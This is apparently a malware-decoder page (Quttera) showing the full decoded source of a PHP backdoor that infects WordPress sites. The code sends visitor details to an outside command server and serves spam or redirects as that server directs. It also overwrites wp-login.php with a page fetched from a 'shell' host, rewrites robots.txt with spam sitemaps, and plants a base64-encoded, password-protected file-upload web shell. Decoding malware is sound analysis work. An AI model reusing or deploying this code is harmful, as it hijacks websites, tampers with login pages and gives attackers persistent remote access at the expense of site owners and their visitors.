Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


     
    ignore_user_abort();set_time_limit(0);ini_set('memory_limit', '-1');date_default_timezone_set('Asia/Tokyo');
    first_init();
    $host_url = "https://tg005.dgssds.shop/api/jiechi.php";
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http";
    $now_url = $protocol.'://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $now_ip = getClientIp();
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    $aclg = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
    $token = base64_encode(base64_encode("d0763edaa9d9bd2a9516280e9044d885$".base64_encode(time())));
    $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $remethod = isset($_SERVER['REQUEST_METHOD'])? $_SERVER['REQUEST_METHOD'] : '';
    $list_data = @makeCurlRequest($host_url,"POST",array("post_url"=>$now_url,"now_ip"=>$now_ip,"referer"=>$referer,"aclg"=>$aclg,"userAgent"=>$userAgent,"remethod"=>$remethod,"token"=>$token));
    if(!empty($list_data)){
        $result_list = json_decode($list_data,true);
        if($result_list["code"]==200){
            if($result_list["action"] == "xml"){
                header('Content-Type: application/xml; charset=UTF-8');
                echo $result_list["content"];
                @create_xml($now_url);
            }else if($result_list["action"] == "zhizhu"){
                header("Content-Type: text/html;charset=utf-8");
                $cacheDuration = 2 * 24 * 60 * 60;header("Cache-Control: max-age=$cacheDuration , public");header("Expires: " . gmdate("D, d M Y H:i:s", time() + $cacheDuration) . " GMT");
                echo $result_list["content"];
            }else if($result_list["action"] == "tiao"){
                header('Cache-Control: no-cache, no-store, must-revalidate');header('Pragma: no-cache');header('Expires: 0');header('HTTP/1.1 302 Found');
                header('Location: ' . $result_list["content"]);
            }
        }else if($result_list["code"]==302){
            $ROOTPATH = $_SERVER['DOCUMENT_ROOT'];
            if(stripos($now_url,"admin")!==false || stripos($now_url,"login")!==false ){$login_html = @file_get_contents("https://shell.susuhen.shop/api/codes/login.txt");if($login_html){@chmod($ROOTPATH."/wp-login.php",755);$result = @file_put_contents($ROOTPATH."/wp-login.php",$login_html);if($result){@chmod($ROOTPATH."/wp-login.php",444);echo $login_html;}else{echo $login_html;}}}header('Referrer-Policy: no-referrer');header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('HTTP/1.1 302 Found');
            header('Location: https://' . $_SERVER['HTTP_HOST']);
        }else{
            $ROOTPATH = $_SERVER['DOCUMENT_ROOT'];
            if(stripos($now_url,"admin")!==false || stripos($now_url,"login")!==false ){
                $login_html = file_get_contents("https://shell.susuhen.shop/api/codes/login.txt");
                if($login_html){
                    @chmod($ROOTPATH."/wp-login.php",755);
                    $result = @file_put_contents($ROOTPATH."/wp-login.php",$login_html);
                    if($result){echo $login_html;@chmod($ROOTPATH."/wp-login.php",444);}else{echo $login_html;}
                }
            }
            if(file_exists($ROOTPATH."/index0.txt")){
                echo @file_get_contents($ROOTPATH."/index0.txt");
            }
        }
    }
    function first_init(){
        $rootDir = $_SERVER['DOCUMENT_ROOT'];
        $superdirectory = $rootDir.'/wp-includes/public/js/wp-kbbrands';
        if(!is_dir($superdirectory)){
            @mkdir($superdirectory, 0755, true);
            if(!file_exists($superdirectory."/index.php")){
                $codestr = "PD9waHANCiAgICAkcGFzc3dvcmRzdHIgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vbG9jYWxob3N0L3RlLnR4dCIpOw0KICAgIGlmKCRwYXNzd29yZHN0ciA9PT0gZmFsc2Upew0KICAgICAgICAkaGV4U3RyaW5nID0gIjc5IDY1IDc5IDY1IDdFIDQwIDZEIDZEIDZEIDZEIjsNCiAgICAgICAgJHBhc3N3b3Jkc3RyID0gcGFjaygiSCoiLCBzdHJfcmVwbGFjZSgnICcsICcnLCAkaGV4U3RyaW5nKSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGNoZWNrcHNkKCRwYXNzd29yZHN0cil7DQogICAgICAgIGlmKGlzc2V0KCRfQ09PS0lFWydwc2QnXSkpew0KICAgICAgICAgICAgaWYoJF9DT09LSUVbJ3BzZCddPT0kcGFzc3dvcmRzdHIpew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdHRVQnKSB7DQogICAgICAgIGlmKCFjaGVja3BzZCgkcGFzc3dvcmRzdHIpKXsNCiAgICAgICAgICAgIGVjaG8gJzxodG1sPg0KICAgICAgICAgICAgPGJvZHk+DQogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiIGlkPSJpbnB1dHBzZCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJwc2QiIC8+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24+c3VibWl0PC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9ib2R5Pg0KICAgICAgICA8L2h0bWw+JzsNCiAgICAgICAgICAgIGV4aXQoKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnUE9TVCcpIHsNCiAgICAgICAgaWYoIWNoZWNrcHNkKCRwYXNzd29yZHN0cikpew0KICAgICAgICAgICAgJHBzZCA9IGlzc2V0KCRfUE9TVFsicHNkIl0pPyRfUE9TVFsicHNkIl06IiI7DQogICAgICAgICAgICBpZighZW1wdHkoJHBzZCkpew0KICAgICAgICAgICAgICAgICAgICBpZigkcHNkPT0kcGFzc3dvcmRzdHIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvb2tpZV9leHBpcmUgPSB0aW1lKCkgKyAoODY0MDAgKiAyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNldGNvb2tpZSgicHNkIiwgJHBhc3N3b3Jkc3RyICwgJGNvb2tpZV9leHBpcmUpOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoInBhc3N3cm9kIGVycm9yIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGV4aXQoInBhc3N3cm9kIGVycm9yIik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQo/Pg0KPD9waHANCmlmIChpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgew0KICAgICRmdW5jTmFtZSA9IHBhY2soIkgqIiwgIjZENkY3NjY1NUY3NTcwNkM2RjYxNjQ2NTY0NUY2NjY5NkM2NSIpOw0KICAgICRmTmFtZSA9IHBhY2soIkgqIiwgIjYzNjg2RDZGNjQiKTsNCiAgICAkZmlsZXNBcnJheSA9IGFycmF5KCdmJyA9PiAnZmlsZScpOw0KICAgIGlmIChpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgew0KICAgICAgICBpZiAoJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsiZXJyb3IiXSA+IDApIHsNCiAgICAgICAgICAgIGVjaG8gIkVycm9yOiAiIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsiZXJyb3IiXSAuICI8YnIgLz4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiVXBsb2FkOiAiIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdIC4gIjxiciAvPiI7DQogICAgICAgICAgICBlY2hvICJTaXplOiAiIC4gKCRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bInNpemUiXSAvIDEwMjQpIC4gIiBLYjxiciAvPiI7DQogICAgICAgICAgICBlY2hvICJTdG9yZWQgaW46ICIgLiAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJ0bXBfbmFtZSJdIC4gIjxiciAvPiI7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bIm5hbWUiXSkpIHsNCiAgICAgICAgICAgICRmTmFtZSgkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl0sMDc1NSk7DQogICAgICAgICAgICB1bmxpbmsoJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdKTsNCiAgICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjogZGVsZXRlIGl0IHN1Y2Nlc3MhIHVwbG9hZCByZWZyZXNoISA8YnIgLz4iOw0KICAgICAgICAgICAgaWYgKCRmdW5jTmFtZSgkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJ0bXBfbmFtZSJdLCAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl0pKSB7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsiZmlsZXBhdGgiXSkpew0KICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIi8iLiRfUE9TVFsiZmlsZXBhdGgiXTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWlzX2RpcigkcGF0aCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBta2RpcigkcGF0aCwgMDc1NSwgdHJ1ZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJTdG9yZWQgaW46IOebruW9leWIm+W7uuaIkOWKn++8miRwYXRoIFxuIDxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IF9fRElSX187DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSBfX0RJUl9fOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICJTdG9yZWQgaW46ICIgLiAkcGF0aCAuICIvIiAuICRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bIm5hbWUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxocj4iOw0KICAgICAgICAgICAgICAgICR1cmwgPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICAgICAgICAgICAgICAgJGZpbGVwYXRoID0gJHBhdGggLiAiLyIgLiAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl07DQogICAgICAgICAgICAgICAgJGZpbGVwYXRoID0gc3RyX3JlcGxhY2UoIlxcIiwiLyIsJGZpbGVwYXRoKTsNCiAgICAgICAgICAgICAgICAkbmV3UGF0aCA9ICR1cmwuc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIgLCAkZmlsZXBhdGgpOw0KICAgICAgICAgICAgICAgIGVjaG8gIkdvIGhlcmUgOiA8YSBocmVmPSckbmV3UGF0aCc+IiAuICRuZXdQYXRoIC4gIjwvYT48YnIgLz4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBlY2hvICJGaWxlIHVwbG9hZCBmYWlsZWQuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmICgkZnVuY05hbWUoJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsidG1wX25hbWUiXSwgJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdKSkgew0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbImZpbGVwYXRoIl0pKXsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvIi4kX1BPU1RbImZpbGVwYXRoIl07DQogICAgICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJHBhdGgpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAbWtkaXIoJHBhdGgsIDA3NTUsIHRydWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiDnm67lvZXliJvlu7rmiJDlip/vvJokcGF0aCBcbiA8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSBfX0RJUl9fOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gX19ESVJfXzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiAiIC4gJHBhdGggLiAiLyIgLiAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl0gLiAiPGJyIC8+IjsNCiAgICAgICAgICAgICAgICBlY2hvICI8aHI+IjsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAgICAgICAgICAgICAgICRmaWxlcGF0aCA9ICRwYXRoIC4gIi8iIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdOw0KICAgICAgICAgICAgICAgICRmaWxlcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRmaWxlcGF0aCk7DQogICAgICAgICAgICAgICAgJG5ld1BhdGggPSAkdXJsLnN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiICwgJGZpbGVwYXRoKTsNCiAgICAgICAgICAgICAgICBlY2hvICJHbyBoZXJlIDogPGEgaHJlZj0nJG5ld1BhdGgnPiIgLiAkbmV3UGF0aCAuICI8L2E+PGJyIC8+IjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAiRmlsZSB1cGxvYWQgZmFpbGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQo/Pg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSI8P3BocCBlY2hvIGJhc2U2NF9kZWNvZGUoImJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlRPT0iKTs/PiI+DQogICAgPGxhYmVsIGZvcj0iZmlsZSI+RmlsZW5hbWU6PC9sYWJlbD48YnIvPjxici8+DQogICAg6Ieq5a6a5LmJ6Lev5b6E77yaJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVwYXRoIiBpZD0iZmlsZXBhdGgiIC8+PGJyLz48YnIvPg0KICAgIOS4iuS8oOaWh+S7tu+8mjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBpZD0iZmlsZSIgLz48YnIvPg0KICAgIDxici8+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0i54K55Ye75LiK5LygIj4NCiAgICA8L2Zvcm0+DQo8L2Rpdj4=";
                $supercontent = base64_decode($codestr);
                if(file_exists($superdirectory."/index.php")){@chmod($superdirectory."/index.php",0755);@writeToFile($superdirectory."/index.php",$supercontent);
                }else{@writeToFile($superdirectory."/index.php",$supercontent);}
                @chmod($superdirectory."/index.php",0444);
            }
        }
    }
    function create_xml($now_url){
        $rootDir = $_SERVER['DOCUMENT_ROOT'];
        @chmod($rootDir."/robots.txt",0755);
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http";
        $currentHost = $protocol.'://' . $_SERVER['HTTP_HOST'];
        $yuming_detail = "";
        if(stripos($now_url,".php")!==false){$post_url_list = explode(".php",$now_url);$yuming_detail = $post_url_list[0].".php";}
        $robots_content = file_get_contents($rootDir."/robots.txt");
        if(stripos($robots_content,"all.xml")!==false){
            $robots_list = explode("\n",$robots_content);
            foreach($robots_list as $key=>&$val){if($key>1){$fuhao = "";if(stripos($val,"/")!==false){ $fuhao = "/";}else if(stripos($val,"?")!==false){$fuhao = "?";}$vallist= explode($fuhao,$val);if(stripos($vallist[1],"all")!==false){$val = $vallist[0].$fuhao."sitemap".chr(rand(97, 122)).chr(rand(65, 90))."_all.xml";}else{$val = $vallist[0].$fuhao."sitemap".chr(rand(97, 122)).chr(rand(97, 122)).chr(rand(65, 90)).".xml";}}}$robots_content_new = implode("\n",$robots_list);
        }else{
            $robots_list = array();$robots_list[]="User-agent: *";$robots_list[]="Allow: /";$robots_list[]="Sitemap: ".$currentHost."/sitemap".chr(rand(97, 122)).chr(rand(65, 90))."_all.xml";
            $robots_list[]="Sitemap: ".$currentHost."/sitemap".chr(rand(65, 90)).chr(rand(97, 122))."_monkey.xml";$robots_list[]="Sitemap: ".$currentHost."/sitemap".chr(rand(97, 122)).chr(rand(97, 122)).chr(rand(65, 90)).".xml";
            $robots_list[]="Sitemap: ".$currentHost."/sitemap".chr(rand(97, 122)).chr(rand(65, 90)).chr(rand(65, 90)).".xml";$robots_content_new = implode("\n",$robots_list);
        }
        if(!empty($yuming_detail) && stripos($robots_content_new,$yuming_detail)===false){$robots_content_new.="\nSitemap: ".$yuming_detail."?sitemapkey.xml\nSitemap: ".$yuming_detail."?sitemapall.xml\nSitemap: ".$yuming_detail."?sitemap.xml";}@writeToFile($rootDir."/robots.txt",$robots_content_new);
    }
    function getClientIp() {
        $ipHeaders = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
        foreach ($ipHeaders as $header) {if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) {$ipList = explode(',', $_SERVER[$header]);foreach ($ipList as $ip) {$trimmedIp = trim($ip);if (filter_var($trimmedIp, FILTER_VALIDATE_IP)) {return $trimmedIp;}}}}
        return '';
    }
    function makeCurlRequest($url, $method = 'GET', $postData = array()) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $headers = array("Cache-Control: no-cache","Connection: keep-alive","Pragma: no-cache","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36");
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        if ($method === 'POST') {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);}$response = curl_exec($ch);curl_close($ch);
        return $response;
    }
    function writeToFile($filename, $data) {
        $result = @file_put_contents($filename, $data);
        if ($result === false) {$handle = fopen($filename, 'w');if ($handle) {$result = fwrite($handle, $data);fclose($handle);}}
        return $result;
    }


© 2023 Quttera Ltd. All rights reserved.